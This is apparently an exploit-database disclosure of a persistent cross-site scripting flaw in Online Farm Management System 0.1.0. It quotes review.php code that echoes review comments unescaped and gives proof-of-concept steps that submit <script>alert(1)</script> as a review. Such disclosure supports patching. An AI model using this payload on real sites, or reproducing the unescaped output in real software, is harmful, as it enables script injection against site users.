Online Farm Management System 0.1.0 Cross Site Scripting

`# Exploit Title: Online Farm Management System 0.1.0 - Persistent Cross-Site Scripting  
# Date: 2020-06-29  
# Exploit Author: KeopssGroup0day,Inc  
# Vendor Homepage: https://www.sourcecodester.com/php/14198/online-farm-management-system-phpmysql.html  
# Software Link: https://www.campcodes.com/projects/php/249/farm-management-system-in-php-mysql/  
# Version: 0.1.0  
# Tested on: Kali Linux  
  
Source code(review.php):  
<?php  
if($result) :  
while($row1 = $result->fetch_array()) :  
?>  
<div class="con">  
<div class="row">  
<div class="col-sm-4">  
<em style="color: black;"><?= $row1['comment']; ?></em>  
</div>  
  
  
POC:  
  
1. http://192.168.1.58/a/review.php?pid=31 go  
2. We send the payload (<script>alert(1)</script>)  
3. Write a review payload and submit  
4. And refresh the page  
`